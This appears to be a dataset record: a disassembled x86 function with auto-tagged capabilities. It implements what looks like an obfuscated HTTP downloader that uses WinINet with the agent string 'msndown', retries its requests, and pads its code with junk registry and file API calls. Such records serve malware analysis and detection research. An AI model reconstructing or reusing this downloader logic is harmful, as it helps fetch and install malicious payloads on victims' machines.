Function at 0x401060
Capabilities:
Check http status code
Connect to http server
Create directory
Create http request
Get common file path
Query or enumerate registry value
Read data from internet
Receive data
Send data
Send http request
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x4042f7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x138
push ebx
push ebp
push esi
mov dword [esp + 0xc], ecx
xor esi, esi
push edi
lea ecx, [esp + 0x2c]
mov dword [0x4071e8], esi
call fcn.00403f44
lea ecx, [esp + 0x1c]
mov dword [esp + 0x150], esi
mov dword [esp + 0x18], esi
call fcn.00403f44
lea ecx, [esp + 0x20]
mov byte [esp + 0x150], 1
call fcn.00403f44
mov eax, dword [esp + 0x158]
lea ecx, [esp + 0x24]
push eax
mov byte [esp + 0x154], 2
call sub.MFC42.DLL_CString::CString_1
mov byte [esp + 0x150], 3
push 0
push 1
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push 0
push 0
push 0
call edi
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push 0
push 0
push 0
push 0
push 0
call ebp
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push 0
push 0
push str.wuvs
push 0
call esi
lea ecx, [esp + 0x46]
lea edx, [esp + 0x20]
push ecx
lea eax, [esp + 0x20]
push edx
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x40]
push eax
push ecx
push edx
call sub.MFC42.DLL_AfxParseURL
test eax, eax
je 0x401585
cmp dword [esp + 0x38], 3
jne 0x401585
push 0
push 0
push 0
push 0
push str.msndown
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x30], ebx
je 0x401455
mov eax, dword [esp + 0x1c]
push 0
push 0
push 3
push str.HTTP_1.0
push 0x4071ec
push 0x50
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
test eax, eax
mov dword [esp + 0x34], eax
je 0x40144e
mov ecx, dword [esp + 0x20]
push 0
push 0x80000000
push 0
push 0
push str.HTTP_1.0
push ecx
push 0x407068
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x40143f
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x401438
lea edx, [esp + 0x3c]
push 0
lea eax, [esp + 0x4c]
push edx
push eax
push 0x13
push ebx
mov dword [esp + 0x50], 0x100
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x40120a
lea ecx, [esp + 0x48]
push ecx
call dword [sym.imp.MSVCRT.dll_atol]
add esp, 4
mov dword [esp + 0x40], eax
jmp 0x40120e
mov eax, dword [esp + 0x40]
cmp eax, 0xc8
jne 0x401421
mov al, byte [esp + 0x168]
test al, al
je 0x401323
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebp
push 0
push 0
push str.wuvs
push 0
call esi
mov edx, dword [esp + 0x164]
lea ecx, [esp + 0x14]
push edx
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [esp + 0x14]
push 0
push eax
mov byte [esp + 0x158], 4
call dword [sym.imp.MSVCRT.dll__access]
mov ecx, dword [esp + 0x18]
add esp, 8
cmp eax, 0xffffffff
je 0x4012ec
mov eax, dword [esp + 0x14]
mov edx, dword [ecx + 4]
lea esi, [ecx + 4]
push 0
push 2
push eax
mov ecx, esi
call dword [edx + 0x28]
test eax, eax
jne 0x4012b1
lea ecx, [esp + 0x14]
mov dword [esp + 0x18], 4
mov byte [esp + 0x150], 3
call sub.MFC42.DLL_CString::CString
jmp 0x401438
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x38]
mov edi, eax
mov eax, dword [esi]
push 2
push 0
mov ecx, esi
call dword [eax + 0x30]
push 0
push 0
push 0
push edi
push ebx
call dword [sym.imp.WININET.dll_InternetSetFilePointer]
add dword [0x4071e8], eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x150], 3
call sub.MFC42.DLL_CString::CString
jmp 0x401343
mov eax, dword [esp + 0x14]
mov edx, dword [ecx + 4]
add ecx, 4
push 0
push 0x1002
push eax
call dword [edx + 0x28]
test eax, eax
jne 0x4012d9
lea ecx, [esp + 0x14]
mov dword [esp + 0x18], 4
mov byte [esp + 0x150], 3
call sub.MFC42.DLL_CString::CString
jmp 0x401438
mov edx, dword [esp + 0x15c]
mov ecx, dword [esp + 0x160]
xor eax, eax
mov edi, dword [edx]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x10]
lea ebp, [eax + 0x14]
push 0x407064
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push 0x407060
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ecx, 0x100
xor eax, eax
mov edi, ebp
mov dword [esp + 0x28], eax
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x28]
push ecx
push 0x400
push ebp
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
jne 0x40140b
mov al, byte [esp + 0x168]
test al, al
je 0x4013bb
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x28]
push ecx
push ebp
mov eax, dword [edx + 4]
lea esi, [edx + 4]
mov ecx, esi
call dword [eax + 0x40]
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x50]
jmp 0x4013ed
mov eax, dword [0x4071e8]
mov ecx, dword [esp + 0x28]
mov esi, dword [esp + 0x160]
lea edx, [eax + ecx]
cmp edx, esi
ja 0x401417
mov edx, dword [esp + 0x15c]
mov esi, ebp
mov edi, dword [edx]
add edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x28]
mov edx, dword [0x4071e8]
add edx, eax
cmp eax, 0x400
mov dword [0x4071e8], edx
jb 0x401477
jmp 0x40134a
mov ecx, dword [esp + 0x10]
add ecx, 4
mov edx, dword [ecx]
call dword [edx + 0x54]
mov dword [esp + 0x18], 5
jmp 0x401438
push eax
mov eax, dword [esp + 0x14]
add eax, 0x14
push 0x407054
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [esp + 0x30]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x18]
inc eax
cmp eax, 3
mov dword [esp + 0x18], eax
jge 0x401537
jmp 0x4010da
push 0
push 0
push 0
push str.efbg
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
push 0
push 0x407048
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push 0
push 0
push 0
push str.ymxs
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov al, byte [esp + 0x168]
test al, al
je 0x4014be
mov edx, dword [esp + 0x10]
mov eax, dword [edx + 4]
lea ecx, [edx + 4]
call dword [eax + 0x54]
test ebx, ebx
je 0x4014cd
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
jmp 0x4014d3
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 0x34]
test eax, eax
je 0x4014de
push eax
call esi
mov eax, dword [esp + 0x30]
test eax, eax
je 0x4014e9
push eax
call esi
lea ecx, [esp + 0x24]
mov byte [esp + 0x150], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x150], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x150], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov dword [esp + 0x150], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
jmp 0x4015d1
lea ecx, [esp + 0x24]
mov byte [esp + 0x150], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x150], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x150], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov dword [esp + 0x150], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 0xfffffc16
jmp 0x4015d1
lea ecx, [esp + 0x24]
mov byte [esp + 0x150], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x150], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x150], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov dword [esp + 0x150], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 0xffffff9c
mov ecx, dword [esp + 0x148]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x144
ret 0x14